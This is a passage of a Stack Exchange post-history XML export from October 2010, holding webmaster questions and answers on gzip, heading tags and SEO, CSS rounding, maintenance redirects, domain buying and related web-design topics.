  <row Id="8942" PostHistoryTypeId="5" PostId="4512" RevisionGUID="593546b1-e91f-4b50-87b5-15d78aa4544c" CreationDate="2010-10-28T07:51:54.937" UserId="1064" Comment="Updated based upon present behavior of FeedBurner" Text="FeedBurner takes your source feed and populates RSS *and* ATOM feeds on its own site.&#xD;&#xA;&#xD;&#xA;&lt;s&gt;Try adding `?format=atom` to the end of an existing RSS feed hosted at FeedBurner for an example.&lt;/s&gt;&#xD;&#xA;&#xD;&#xA;It looks like the result is an aggregate XML document which uses a variety of formats:&#xD;&#xA;&#xD;&#xA;    &lt;rss xmlns:content=&quot;http://purl.org/rss/1.0/modules/content/&quot; &#xD;&#xA;     xmlns:wfw=&quot;http://wellformedweb.org/CommentAPI/&quot;&#xD;&#xA;     xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot;&#xD;&#xA;     xmlns:atom=&quot;http://www.w3.org/2005/Atom&quot;&#xD;&#xA;     xmlns:sy=&quot;http://purl.org/rss/1.0/modules/syndication/&quot; &#xD;&#xA;     xmlns:slash=&quot;http://purl.org/rss/1.0/modules/slash/&quot;&#xD;&#xA;     xmlns:feedburner=&quot;http://rssnamespace.org/feedburner/ext/1.0&quot; version=&quot;2.0&quot;&gt;" />
  <row Id="8943" PostHistoryTypeId="2" PostId="4513" RevisionGUID="505ec339-625f-4ebc-968c-7562542a49dc" CreationDate="2010-10-28T07:59:01.237" UserId="2713" Text="I think you should just google for &quot;CSS gradients&quot;. There are a lot of examples.&#xD;&#xA;[Here I found a site][1], which explains well, how to use it.&#xD;&#xA;Good luck. :)&#xD;&#xA;Cheers,&#xD;&#xA;&#xD;&#xA;Adam&#xD;&#xA;&#xD;&#xA;  [1]: http://robertnyman.com/2010/02/15/css-gradients-for-all-web-browsers-without-using-images/" />
  <row Id="8944" PostHistoryTypeId="5" PostId="4450" RevisionGUID="c9c5dbac-7c54-4324-930b-6d14dec4489f" CreationDate="2010-10-28T09:47:50.113" UserId="2228" Comment="added 100 characters in body" Text="&lt;s&gt;You can round an image with CSS, but&lt;/s&gt; *(correction per conversation with @Starx)* You **can't** round an image with CSS and it wouldn't give you a benefit anyway because you are only masking sections of the image. The bytes that are hidden are still there and they still have to be transferred to the user's browser, so you don't have a bandwidth benefit even if it is a transparent PNG.&#xD;&#xA;&#xD;&#xA;Furthermore, you will be hurting your self (ever so little) because in your style sheet, the code you'll have to write to perform the effect will actually add overhead to your style sheet. Thus you will actually be adding more data to be transferred to the browser and increasing your bandwidth usage.&#xD;&#xA;&#xD;&#xA;Option 2 in your question is more appropriate when dealing with images. As far as why the rounded corners was added to CSS, it has nothing to do with images and programmers [sucking with PS...]. Some of the uses you may see are someone trying to replicate the roundness of the Apple input fields/buttons on their page. Or another example would be `div`'s that need to act as panels or modals.&#xD;&#xA;&#xD;&#xA;Really, there's no defined usage, it's just a matter of convenience on whatever you're working with.&#xD;&#xA;&#xD;&#xA;**UPDATE**&#xD;&#xA;&#xD;&#xA;The CSS needed to round an object across all browsers that support rounding:&#xD;&#xA;&#xD;&#xA;    -moz-border-radius: ?px;&#xD;&#xA;    -webkit-border-radius: ?px;&#xD;&#xA;    border-radius: ?px;&#xD;&#xA;&#xD;&#xA;`border-radius` has to be last because that is the proper property by specification. For more details, please go [here][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://developer.mozilla.org/en/css/-moz-border-radius" />
  <row Id="8945" PostHistoryTypeId="2" PostId="4514" RevisionGUID="9060d5fd-1792-4330-8884-3cdae881395e" CreationDate="2010-10-28T09:52:11.167" UserId="302" Text="Often I see websites when at the end of the registration process the user is not logged in.  What is the rational for that?&#xD;&#xA;&#xD;&#xA;It seems redundant to ask a user to reenter their credentials just after they signed up, no?  I understand that in the code, those two are separate functionalities, but from a UX / web design stand point, is there any reason to do it that way?&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;&#xD;&#xA;JDelage" />
  <row Id="8946" PostHistoryTypeId="1" PostId="4514" RevisionGUID="9060d5fd-1792-4330-8884-3cdae881395e" CreationDate="2010-10-28T09:52:11.167" UserId="302" Text="Why do user registration process not end with the user logged in?" />
  <row Id="8947" PostHistoryTypeId="3" PostId="4514" RevisionGUID="9060d5fd-1792-4330-8884-3cdae881395e" CreationDate="2010-10-28T09:52:11.167" UserId="302" Text="&lt;website-design&gt;&lt;login&gt;&lt;registration&gt;" />
  <row Id="8948" PostHistoryTypeId="2" PostId="4515" RevisionGUID="3a0e1678-6268-4517-8ab3-061779341918" CreationDate="2010-10-28T09:55:41.833" UserId="1955" Text="It is a common practice for front-end developers to put the website title or logo in H1 tag and the title in H2. But most of the time the title of the page/article is more important because it caries the content value. So my question is what is the best approac from semantic and seo viewpoint. Examples:  &#xD;&#xA;&#xD;&#xA;logo - H1, title - H1  &#xD;&#xA;logo - H1, title - H2  &#xD;&#xA;logo - H2, title - H1  &#xD;&#xA;logo - other tag, title - H1&#xD;&#xA;&#xD;&#xA;Provided other variants if you think they will have bigger effect." />
  <row Id="8949" PostHistoryTypeId="1" PostId="4515" RevisionGUID="3a0e1678-6268-4517-8ab3-061779341918" CreationDate="2010-10-28T09:55:41.833" UserId="1955" Text="H1 vs H2 vs Other for website title/logo and SEO" />
  <row Id="8950" PostHistoryTypeId="3" PostId="4515" RevisionGUID="3a0e1678-6268-4517-8ab3-061779341918" CreationDate="2010-10-28T09:55:41.833" UserId="1955" Text="&lt;seo&gt;&lt;html&gt;&lt;xhtml&gt;&lt;tags&gt;&lt;semantic-web&gt;" />
  <row Id="8951" PostHistoryTypeId="2" PostId="4516" RevisionGUID="3a926227-8cbf-4722-9f80-445c55db748c" CreationDate="2010-10-28T09:56:30.913" UserId="2770" Text="I saw from an online tester that my html can be compressed about 90%! &#xD;&#xA;Is it good practice to use gzip or not? Because i see that lot sites dont use it...&#xD;&#xA;For me that would improve a lot the traffic as some pages contain a lot of data (120 kb html  without the images which can be compressed to a few  kilos)" />
  <row Id="8952" PostHistoryTypeId="1" PostId="4516" RevisionGUID="3a926227-8cbf-4722-9f80-445c55db748c" CreationDate="2010-10-28T09:56:30.913" UserId="2770" Text="Should i use gzip ?" />
  <row Id="8953" PostHistoryTypeId="3" PostId="4516" RevisionGUID="3a926227-8cbf-4722-9f80-445c55db748c" CreationDate="2010-10-28T09:56:30.913" UserId="2770" Text="&lt;gzip&gt;" />
  <row Id="8954" PostHistoryTypeId="2" PostId="4517" RevisionGUID="8e63a44a-72c9-4f70-a3ce-176354af3639" CreationDate="2010-10-28T10:06:39.870" UserId="3" Text="Yes, there is almost no reason I can think of to *not* use GZIP at all times. It's like getting free bandwidth, and it is universally supported. Always have it on!&#xD;&#xA;&#xD;&#xA;The only possible downsides are&#xD;&#xA;&#xD;&#xA;1. If you are on a shared host with very limited CPU resources, as the compression is done on the server and it does take a tiny bit of server CPU. The server would have to be very overloaded and/or extremely old for this to matter in practice, though.&#xD;&#xA;&#xD;&#xA;2. If you serve up very large (and by large I mean 400 kilobytes and up) *dynamic* web pages. Compressing very large dynamic content on the fly can be prohibitively expensive. &#xD;&#xA;&#xD;&#xA;But these are both rare edge conditions in my experience; 99% of the time HTTP compression is a clear win." />
  <row Id="8955" PostHistoryTypeId="2" PostId="4518" RevisionGUID="70001320-00cf-49d7-af64-63b02a89f005" CreationDate="2010-10-28T10:07:02.400" UserId="1243" Text="Yes. 120KB for HTML alone(!) can be compressed greatly. Together with the CSS and JavaScript files. This will speed up the browsing experience for your users and save you _bandwidth_ on your server.&#xD;&#xA;&#xD;&#xA;You could implement the compression using your server-side script and cache the compressed files, thus easing the pressure on the CPU on busy servers." />
  <row Id="8956" PostHistoryTypeId="2" PostId="4519" RevisionGUID="06e21c64-d8ac-409e-896d-2cb4bb8002cf" CreationDate="2010-10-28T10:08:18.977" UserId="1064" Text="&gt; Is it good practice to use gzip or&#xD;&#xA;&gt; not?&#xD;&#xA;&#xD;&#xA;Depends upon your webserver's environment.&#xD;&#xA;&#xD;&#xA;If your server is running low on idle CPU time, adding GZIP deflation could actually slow down the rate at which your server responds to requests.&#xD;&#xA;&#xD;&#xA;If you're not presently dealing with a CPU bottleneck, however, GZIP deflation is a great idea but *only* for plain-text files.&#xD;&#xA;&#xD;&#xA;Most image file formats (i.e. PNG, JPG, GIF) are already compressed and GZIP deflation is a waste of CPU time." />
  <row Id="8957" PostHistoryTypeId="2" PostId="4520" RevisionGUID="7b12793c-7baf-44f8-a8ce-653835dd6993" CreationDate="2010-10-28T10:14:33.573" UserId="1064" Text="A couple reasons come to mind:&#xD;&#xA;&#xD;&#xA;1. The signup process is awaiting e-mail verification. It's not uncommon to force users to verify their e-mail addresses before allowing them access to a service (particularly if the service is concerned about spammers or plans to send promotional e-mails to account holders).&#xD;&#xA;&#xD;&#xA;2. Forcing the user to enter the credentials they just signed up with will have the additional effect of allowing their browser to save the new credentials on the login form for faster access in the future." />
  <row Id="8958" PostHistoryTypeId="2" PostId="4521" RevisionGUID="7b6cb06a-e960-4dfe-b031-1a8f3a5014cc" CreationDate="2010-10-28T10:20:49.400" UserId="1064" Text="See Page #37 of Google's [SEO Report Card][1] document:&#xD;&#xA;&#xD;&#xA;&gt; Most product main pages have an&#xD;&#xA;&gt; opportunity to use one `&lt;h1&gt;` tag, like&#xD;&#xA;&gt; the example above, but they're&#xD;&#xA;&gt; currently only using other heading&#xD;&#xA;&gt; tags (`&lt;h3&gt;` in this case) or larger&#xD;&#xA;&gt; font styling. While styling your text&#xD;&#xA;&gt; so it appears larger might achieve the&#xD;&#xA;&gt; same visual presentation, it does not&#xD;&#xA;&gt; provide the same semantic meaning to&#xD;&#xA;&gt; the search engine that an `&lt;h1&gt;` tag&#xD;&#xA;&gt; does. The product's name and/or a few&#xD;&#xA;&gt; words about its features are great to&#xD;&#xA;&gt; have in an `&lt;h1&gt;` tag for the product&#xD;&#xA;&gt; main page.&#xD;&#xA;&#xD;&#xA;Per Google's own analysis of its offerings, I would arrive at the conclusion that Google expects a *unique, page-specific* value to appear in an H1 (the illustration in the linked doc illustrates this).&#xD;&#xA;&#xD;&#xA;  [1]: http://static.googleusercontent.com/external_content/untrusted_dlcp/www.google.com/en/us/webmasters/docs/google-seo-report-card.pdf" />
  <row Id="8959" PostHistoryTypeId="2" PostId="4522" RevisionGUID="40dbbf95-8d02-46a2-86a0-8777c3af81c0" CreationDate="2010-10-28T10:25:12.243" UserId="1243" Text="IMO there should be only one H1 on the page. And the H1 should always before the H2 - to maintain a correct hierarchy of your content.&#xD;&#xA;&#xD;&#xA;The logo is often repeated on every page and, like you say, on most pages the title is nearly always more important.&#xD;&#xA;&#xD;&#xA;On the homepage I would consider using:  &#xD;&#xA;**logo - H1[, title - H2]**  &#xD;&#xA;Although, on your homepage the logo could well be your title.&#xD;&#xA;&#xD;&#xA;However, on _all subsequent pages_ I would go for:  &#xD;&#xA;**logo - other tag, title - H1**  &#xD;&#xA;Even having the logo as a background-image if appropriate." />
  <row Id="8960" PostHistoryTypeId="5" PostId="4522" RevisionGUID="330ddbee-54f8-4ef5-b970-da845a5247a8" CreationDate="2010-10-28T10:30:34.457" UserId="1243" Comment="added 6 characters in body" Text="IMO there should be only one H1 on the page. And the H1 should always before the H2 - to maintain a correct hierarchy of your content.&#xD;&#xA;&#xD;&#xA;The logo is often repeated on every page and, like you say, on most pages the title is nearly always more important.&#xD;&#xA;&#xD;&#xA;On the homepage I would consider using:  &#xD;&#xA;**logo/title - H1[, title - H2]**  &#xD;&#xA;Although, on your homepage the logo could well be your title.&#xD;&#xA;&#xD;&#xA;However, on _all subsequent pages_ I would go for:  &#xD;&#xA;**logo - other tag, title - H1**  &#xD;&#xA;Even having the logo as a background-image if appropriate." />
  <row Id="8961" PostHistoryTypeId="2" PostId="4523" RevisionGUID="0572d8b4-f47d-4344-8763-8a55cfe63c11" CreationDate="2010-10-28T10:50:42.660" UserId="1757" Text="I usually don't put the logo or site title in an H1. The way I like to look at it is that the each page is a document. That document is about a particular subject, as reflected in the page title and also the main heading. The website itself is just the publisher of the document. So, semantically, it's incorrect to use the site logo or name as the main heading of each page. Logos ore displayed prominently to remind the user where they are and for branding purposes, but they're not actually part of the content or document&#xD;&#xA;&#xD;&#xA;I mean, when you watch a news story you might see a little news channel logo in the corner, but the news story isn't going to be titled &quot;CNN&quot; or &quot;BBC News&quot;. The headline will be about the story, not the network publishing the story. Likewise, when you read a magazine, only the article title is used in the heading, not the name of the publication.&#xD;&#xA;&#xD;&#xA;It's also semantically incorrect to use an H1 tag for the logo/site name and one for the document title. Headings define the hierarchical structure of the content on the page; using one for the site name and another for the document title is like saying, this page has 2 main sections: &quot;mydomain.com&quot; and &quot;contact us&quot;." />
  <row Id="8962" PostHistoryTypeId="2" PostId="4524" RevisionGUID="3897caa1-a028-46a0-adac-617614e37f02" CreationDate="2010-10-28T10:57:59.713" UserId="2748" Text="Does Heading tags like `&lt;h1&gt;` and `&lt;h2&gt;` make a big differences during SEO?" />
  <row Id="8963" PostHistoryTypeId="1" PostId="4524" RevisionGUID="3897caa1-a028-46a0-adac-617614e37f02" CreationDate="2010-10-28T10:57:59.713" UserId="2748" Text="Does Heading tags like &lt;h1&gt; and &lt;h2&gt; make a big differences during SEO?" />
  <row Id="8964" PostHistoryTypeId="3" PostId="4524" RevisionGUID="3897caa1-a028-46a0-adac-617614e37f02" CreationDate="2010-10-28T10:57:59.713" UserId="2748" Text="&lt;seo&gt;" />
  <row Id="8965" PostHistoryTypeId="2" PostId="4525" RevisionGUID="296850c0-89bc-4251-ab54-20852d8063ac" CreationDate="2010-10-28T11:15:39.220" UserId="1429" Text="YES!&#xD;&#xA;&#xD;&#xA;Use them always and in the proper way, which means:&#xD;&#xA;&#xD;&#xA;don't pack them with keywords just for doing it. Use keywords/keyphrases as long as H1/H2 contains meaningful phrases, in other words something that a human would read and don't think it's just spam text." />
  <row Id="8966" PostHistoryTypeId="2" PostId="4526" RevisionGUID="caaca075-9c1f-4904-982b-9e5ff096659b" CreationDate="2010-10-28T12:01:06.017" UserId="1253" Text="*BIG* difference? No. Are they are ranking factor? Yes.&#xD;&#xA;&#xD;&#xA;Use them properly. There should be only one h1 per page followed by h2 and h3's. Think of them almost like the table of contents for a page. If you use them right both your users and search engines will have a better understanding of what your content is about." />
  <row Id="8967" PostHistoryTypeId="2" PostId="4527" RevisionGUID="3cf21671-f9e6-40da-9a45-30f48273d70f" CreationDate="2010-10-28T12:06:35.560" UserId="233" Text="Here is a good rationale: [Your logo is an image, not a &amp;lt;h1&amp;gt;][1]&#xD;&#xA;&#xD;&#xA;Semantically, `&lt;h1&gt;` should be used for the page title, and the page title ought to be unique per page. Your logo or site name is *not* the page title (aside from perhaps the home page).&#xD;&#xA;&#xD;&#xA;Your logo/site name should be in a plain div, perhaps with ID of 'heading'. Or, the `&lt;header&gt;` tag if using HTML5.&#xD;&#xA;&#xD;&#xA;  [1]: http://csswizardry.com/2010/10/your-logo-is-an-image-not-a-h1/" />
  <row Id="8968" PostHistoryTypeId="5" PostId="4526" RevisionGUID="453ca34d-416e-4710-8dc4-d6cdbe505ef9" CreationDate="2010-10-28T12:06:50.723" UserId="1253" Comment="added 2 characters in body" Text="*BIG* difference? No. Are they are a ranking factor? Yes.&#xD;&#xA;&#xD;&#xA;Use them properly. There should be only one h1 per page followed by h2 and h3's. Think of them almost like the table of contents for a page. If you use them right both your users and search engines will have a better understanding of what your content is about." />
  <row Id="8969" PostHistoryTypeId="5" PostId="4485" RevisionGUID="8faacedc-561c-420d-bcea-bf59276af362" CreationDate="2010-10-28T12:17:34.660" UserId="233" Comment="linked the image to avoid huge download" Text="I've been asked to investigate why the images on a particular site cannot be viewed in IE (6/7 and 8, multiple machines) but is visible in all other browsers. I've verified that it has nothing to do with the site itself by downloading the image and placing it as an image in a local HTML file, with the same result. Accessing the url directly in the address bar in IE again does not display the image, only the little red X.&#xD;&#xA;&#xD;&#xA;Here's the image: http://i.stack.imgur.com/qxJJa.gif&#xD;&#xA;&#xD;&#xA;Why would all other browsers show this image except IE? What can I do to get the image to work in IE?&#xD;&#xA;" />
  <row Id="8970" PostHistoryTypeId="5" PostId="4505" RevisionGUID="848ada88-f8e2-4e6f-abdb-ea7d039d531a" CreationDate="2010-10-28T12:57:31.420" UserId="1064" Comment="Added 503/meta instructions" Text="Here's how I've managed this in the past w/Apache (with no apparent change to ranking):&#xD;&#xA;&#xD;&#xA;**1.** Create a maintenance page with a defined open/close for the maintenance window - make the maintenance window about twice the amount of time you anticipate maintenance to last so you can roll-back if necessary&#xD;&#xA;&#xD;&#xA;**2.** Rewrite rule to direct traffic to maintenance page:&#xD;&#xA;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteCond %{REMOTE_ADDR} !^1\.2\.3\.4&#xD;&#xA;    RewriteCond %{REQUEST_URI} !maintenance\.html$&#xD;&#xA;    RewriteRule .* /maintenance.html [L,R=307]&#xD;&#xA;&#xD;&#xA;(Where `1\.2\.3\.4` is a regexp for your IP)&#xD;&#xA;&#xD;&#xA;**3.** Complete maintenance and testing, comment out rewrite directives&#xD;&#xA;&#xD;&#xA;The [307 Temporary][1] redirect is, to the best of my knowledge, the proper response header for a maintenance situation, I've never seen any problems with maintenance lasting 1-3 hours on moderately busy sites (i.e. 100-500 users/hour).&#xD;&#xA;&#xD;&#xA;**Edit:**&#xD;&#xA;&#xD;&#xA;Per John Mueller's comments, you should also configure your webserver to throw a 503 error with a Retry-After timeframe or otherwise indicate that spiders should not cache the contents of the maintenance page.&#xD;&#xA;&#xD;&#xA;To this end, you could follow [AskApache's 503/Retry-After HowTo][2] or include the following META tag in your maintenance page's header:&#xD;&#xA;&#xD;&#xA;    &lt;meta name=&quot;robots&quot; content=&quot;noindex&quot; /&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html#sec10.3.8&#xD;&#xA;  [2]: http://www.askapache.com/htaccess/503-service-temporarily-unavailable.html" />
  <row Id="8971" PostHistoryTypeId="2" PostId="4528" RevisionGUID="9a6a178e-6ad2-4ed6-b399-bfa5da50002a" CreationDate="2010-10-28T13:25:45.950" UserId="108" Text="The SEO game is all about making the least number of mistakes and having the most quality inbound links.  With that in mind header tags aren't a huge part of the puzzle.&#xD;&#xA;&#xD;&#xA;However, lets say for arguments sake they are 1% of how Google Ranks your page.  If everyone else is exactly the same as you except they don't use header tags properly then that makes you 1% better than them.  That is very over simplified but the point is to get to first place you are trying to beat others in a game where 1% can easily make the difference.  Additionally, it is an easy thing to do correctly and if used properly it will increase the quality of the users experience.  &#xD;&#xA;&#xD;&#xA;So the short answer, it is a no brainer to user header tags often and properly.  It makes all the difference." />
  <row Id="8972" PostHistoryTypeId="2" PostId="4529" RevisionGUID="230bced9-4dcb-4ee7-b740-0eb3e25cf642" CreationDate="2010-10-28T13:46:27.390" UserId="2552" Text="I'm going to say Yes. Not so much for you're ranking, but for your human factor. Remember you should never have more than one `H1` tag per page. You can throw multiple H2's on a page for subheadings or additional content. These tags are for the most part ignored in the ranking and statical part of SEO do to their abuse and misleading use. People tend to write creative story titles that aren't necessarily related to the story. They are commonly used as what to show to the user or how to choose between content when your title or meta data doesn't really seem to match entirely. &#xD;&#xA;&#xD;&#xA;Remember your Header tags are headers, not blocks of text content. Make them meaningful headers, people with screen readers rely on these to understand your page and skip around the content. If it's incoherent babble you're not helping anyone." />
  <row Id="8973" PostHistoryTypeId="2" PostId="4530" RevisionGUID="5de19501-89f6-4188-b691-be950f6d3ac3" CreationDate="2010-10-28T13:50:54.313" UserId="2552" Text="What you're really looking for in your H1 tag is the page title or what makes this page unique. If you're using an image in it, you need to do it with a fallback method for degradability:&#xD;&#xA;&#xD;&#xA;    &lt;style&gt;&#xD;&#xA;    h1{background: url('imagePathHere.gif');width:60px;height:10px;}&#xD;&#xA;    h1 span{display:none}&#xD;&#xA;    &lt;/style&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;h1&gt;&lt;span&gt;Unique Page Title&lt;/span&gt;&lt;/h1&gt;&#xD;&#xA;&#xD;&#xA;This way you can set an image to show up for the H1 (which people often misuse as the logo area) and still have good content inside it for people using degraded internet experiences. It also makes your SEO value happy.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8974" PostHistoryTypeId="2" PostId="4531" RevisionGUID="1b33e568-f902-4e92-a77e-55b775b463bf" CreationDate="2010-10-28T13:53:28.010" UserId="2552" Text="Spam and bots. If you signup and are instantly in and able to post or interact with the site, what stopping you from logging out doing it again and doing it nonstop? Nothing. By making you login you have to at least memorize the data you put into the login name and password fields, which is a step not all bots have built in so you're instantly knocking out quite a few there.&#xD;&#xA;&#xD;&#xA;By adding in an email validation you're delaying the process even more. Now this bot has to hang out and wait around for an email before it can harass your site. These valuable seconds it spends waiting aren't worth it with so many other websites that let you instantly be logged in soon as you finish registration." />
  <row Id="8975" PostHistoryTypeId="2" PostId="4532" RevisionGUID="2d97dcde-c415-4900-bcea-9c5770da245b" CreationDate="2010-10-28T14:00:56.707" UserId="2552" Text="If you're visiting the domain you want to buy, and it's hosting ads. IMMEDIATELY STOP VISITING IT. Domain squatters are able to determine value based on traffic. If the site is getting zero traffic and you come in and say you want to build a website about your pet cat on that domain, odds are good they'd be willing to sell it cheap to recoup the registration fee they paid for it. &#xD;&#xA;&#xD;&#xA;However if they are getting even a few clicks on the ads, showing regular traffic from you visiting it, and you make the mistake of saying you're going to build some huge awesome website that will make you millions, good luck getting it for anything less than $500. &#xD;&#xA;&#xD;&#xA;Keep in mind, the squatter is always willing to wait longer than you are for the deal to go through. Also odds are high about you being ripped off if not using a 3rd party to verify the transfer. &#xD;&#xA;&#xD;&#xA;If you're the unfortunately soul that purchased your domain through goDaddy and noticed your .com version is being squatted, odds are it's the goDaddy squatter team and you're in for a very very expensive situation to get it from them. I would just give up and look for a new domain unless you have some deep pockets. " />
  <row Id="8976" PostHistoryTypeId="2" PostId="4533" RevisionGUID="e94b2645-b92e-49b7-8191-f327b35c9bba" CreationDate="2010-10-28T14:08:17.763" UserId="2552" Text="You'll probably want to branch your code or at the very least start using tags. I prefer the branch method so I can keep 2 copies of the site. One being my trunk version ( dev ) and another being the live production copy. Then I can just merge the changes to the production branch when I'm ready to publish and if something goes wrong on production I have a current 1 for 1 match with production I can work on to fix.&#xD;&#xA;&#xD;&#xA;As for the dev server part. I often use a subdomain of &quot;QA.example.com&quot; and restrict all access by IP to it. This way if I need a 3rd party to see it to proof something before it goes live, I can add their IP range. &#xD;&#xA;&#xD;&#xA;Since you're using a database with your PHP site ( I'm assuming this since you mentioned it's dynamic ), you might also want to make a copy of the database and rename it with a suffix like 'dev' so that you can edit it without effecting production in your QA environment. It's fairly easy to export a DB and just insert it into another with a different name if you're doing it from scratch each time. I actually have a script through [Hudson][1] that allows me to do a simple backup from my production DB and then drop my QA DB and replace with the production copy. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://hudson-ci.org/" />
  <row Id="8980" PostHistoryTypeId="5" PostId="4468" RevisionGUID="9dff00ab-9912-45cb-9544-105a1aa7d858" CreationDate="2010-10-28T14:11:36.400" UserId="184" Comment="added 231 characters in body" Text="Users without an IPv6 connection will not have the possibility to connect to your server. There will be some workarounds such as using a [tunnel](http://en.wikipedia.org/wiki/List_of_IPv6_tunnel_brokers) or IPv6 proxies.&#xD;&#xA;&#xD;&#xA;&lt;s&gt;Normally it should not affect any of your visitors but there can be a few cases in which an AAAA-record is requested only (so the user does only get the IPv6 address) but the connection does not support IPv6 already thus making the website unaccessible for some users (this may affect 1 or 2 in 1000 users).&lt;/s&gt;" />
  <row Id="8981" PostHistoryTypeId="2" PostId="4535" RevisionGUID="b59d020d-1d62-48fc-96ab-e3276816f4f4" CreationDate="2010-10-28T14:12:35.880" UserDisplayName="lordkrandel" Text="Is there any resource like http://www.csszengarden.com/ for Print stylesheets?&#xD;&#xA;&#xD;&#xA;I'd like to write some CSS formatted text on a printed media (internal business documentation) with an elegant style, but it looks like there is no help out there.&#xD;&#xA;&#xD;&#xA;I don't need LaTeX/TeX typesetting - I'd like to have something more portable and lightweight almost as plain text, with little or no compiling environment.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8982" PostHistoryTypeId="1" PostId="4535" RevisionGUID="b59d020d-1d62-48fc-96ab-e3276816f4f4" CreationDate="2010-10-28T14:12:35.880" UserDisplayName="lordkrandel" Text="Any CSS resources for printing?" />
  <row Id="8983" PostHistoryTypeId="3" PostId="4535" RevisionGUID="b59d020d-1d62-48fc-96ab-e3276816f4f4" CreationDate="2010-10-28T14:12:35.880" UserDisplayName="lordkrandel" Text="&lt;css&gt;&lt;print&gt;" />
  <row Id="8987" PostHistoryTypeId="2" PostId="4536" RevisionGUID="487171c2-6fc8-4263-8ba5-d391e1ed6c7c" CreationDate="2010-10-28T14:14:16.883" UserId="2552" Text=" - JPG for photos or high color differences&#xD;&#xA; - PNG for images with gradual transparency (fade from 1 color to clear)&#xD;&#xA; - GIF for images with small color palettes&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Obviously give each image a try and see what comes out to the smallest file size. The smaller the size the better. Also don't worry about transparency in IE6 for your PNG's, grandma isn't as concerned how your site look just that she can see pictures of you on it." />
  <row Id="8988" PostHistoryTypeId="2" PostId="4537" RevisionGUID="d4362c5d-68a9-4032-a859-4ff43b10579d" CreationDate="2010-10-28T14:18:00.983" UserId="2780" Text="I have problem with Google Chrome and Theora video. I have video that plays nice in Opera and Firefox. However, it doesn't play in Google browser and I don't know why. I've made this video in ogg2theora.&#xD;&#xA;&#xD;&#xA;Test sample: http://wwsi.edu.pl/video/enigma.html&#xD;&#xA;&#xD;&#xA;Does anyone know how should I encode to Theora that Google Chrome works?&#xD;&#xA;&#xD;&#xA;P.S.&#xD;&#xA;I am not interested in encoding in WebM or h.264." />
  <row Id="8989" PostHistoryTypeId="1" PostId="4537" RevisionGUID="d4362c5d-68a9-4032-a859-4ff43b10579d" CreationDate="2010-10-28T14:18:00.983" UserId="2780" Text="Google Chrome and Theora" />
  <row Id="8990" PostHistoryTypeId="3" PostId="4537" RevisionGUID="d4362c5d-68a9-4032-a859-4ff43b10579d" CreationDate="2010-10-28T14:18:00.983" UserId="2780" Text="&lt;html5&gt;&lt;video&gt;&lt;google-chrome&gt;" />
  <row Id="8991" PostHistoryTypeId="2" PostId="4538" RevisionGUID="95bbda27-859c-406b-a21e-cc0bb91d0222" CreationDate="2010-10-28T14:21:01.800" UserId="2608" Text="Scott,&#xD;&#xA;&#xD;&#xA;The pricing of this would need to factor in your storage and bandwidth, in addition you will also need to determine if its mission critical; what happens if it goes down.&#xD;&#xA;&#xD;&#xA;Storage should be redundant if you don't want downtime and most likely external storage, a SAN device.  You will need enough disks to have the capacity and you will also need the right volume to match performance, RAID10 will be your best choice in this hardware configuration.&#xD;&#xA;&#xD;&#xA;You will also need redundancy on your Servers whom will access the storage, since it would be the required approach in having redundancy across the board and performance scalability.&#xD;&#xA;&#xD;&#xA;Bandwidth will be pressuring the project so if you are running this in house at a location will you have enough on site to provide what will be needed to receive all of the uploads.  Will there be a peak hour in the daytime or 24x7 and will it degrade performance on other network related items utilizing the same circuits.&#xD;&#xA;&#xD;&#xA;Power is another factor, if your operating multiple servers, storage and circuits, the power is very consuming expensive and might require an added level of redundancy or at least an APC unit capable of surviving for an alloted amount of time.&#xD;&#xA;&#xD;&#xA;There are other approaches towards this including software replication.  Are you looking to host it or colo at a datacenter? I can make additional recommendations if you need.&#xD;&#xA;&#xD;&#xA;Best,&#xD;&#xA;Nick&#xD;&#xA;" />
  <row Id="8992" PostHistoryTypeId="5" PostId="4536" RevisionGUID="d85f76cc-16b9-4d94-8511-0161730aa3b6" CreationDate="2010-10-28T14:56:36.783" UserId="2552" Comment="typo" Text=" - JPG for photos or high color differences&#xD;&#xA; - PNG for images with gradual transparency (fade from 1 color to clear)&#xD;&#xA; - GIF for images with small color palettes&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Obviously give each image a try and see what comes out to the smallest file size. The smaller the size the better. Also don't worry about transparency in IE6 for your PNG's, grandma isn't as concerned how your site looks just that she can see pictures of you on it." />
  <row Id="8993" PostHistoryTypeId="5" PostId="4531" RevisionGUID="378a3324-8df4-4ebf-90a5-f9c6ce385f3c" CreationDate="2010-10-28T14:57:27.003" UserId="2552" Comment="typo" Text="Spam and bots. If you signup and are instantly in and able to post or interact with the site, whats stopping you from logging out doing it again and doing it nonstop? Nothing. By making you login you have to at least memorize the data you put into the login name and password fields, which is a step not all bots have built in so you're instantly knocking out quite a few there.&#xD;&#xA;&#xD;&#xA;By adding in an email validation you're delaying the process even more. Now this bot has to hang out and wait around for an email before it can harass your site. These valuable seconds it spends waiting aren't worth it with so many other websites that let you instantly be logged in soon as you finish registration." />
  <row Id="8994" PostHistoryTypeId="2" PostId="4539" RevisionGUID="d8c52076-a6b9-45a5-ac08-9c24720a5ecd" CreationDate="2010-10-28T15:00:55.020" UserId="1920" Text="I have a two-pronged question. &#xD;&#xA;&#xD;&#xA;First: SEO Concerns aside, should I be concerned about using iFrames on my site as far as viruses etc go? I am using skydrive to host my images and it provides an iFrame embed code that's almost exactly what I am looking for. Since it's just hosting images, I am not worried about SEO, but I am worried about any vulnerabilities this might open me or my users to. Have iFrames been completely abandoned by the web community due to safety concerns, or are they okay to use again? (Using img src is simple enough, I just don't want to have to tap out all of the dimensions since skydrive provides me the code.)&#xD;&#xA;&#xD;&#xA;Second: If I do use the iFrame code, how do I add a modifier to have the text wrap next to the image? I have two lines with two pics, then one line with one pic but the text begins at the base of the image instead of the top, thus leaving only one line of text instead 238px. To my knowledge, `align = left | right | center` wouldn't work. &#xD;&#xA;&#xD;&#xA;Here's what I have from 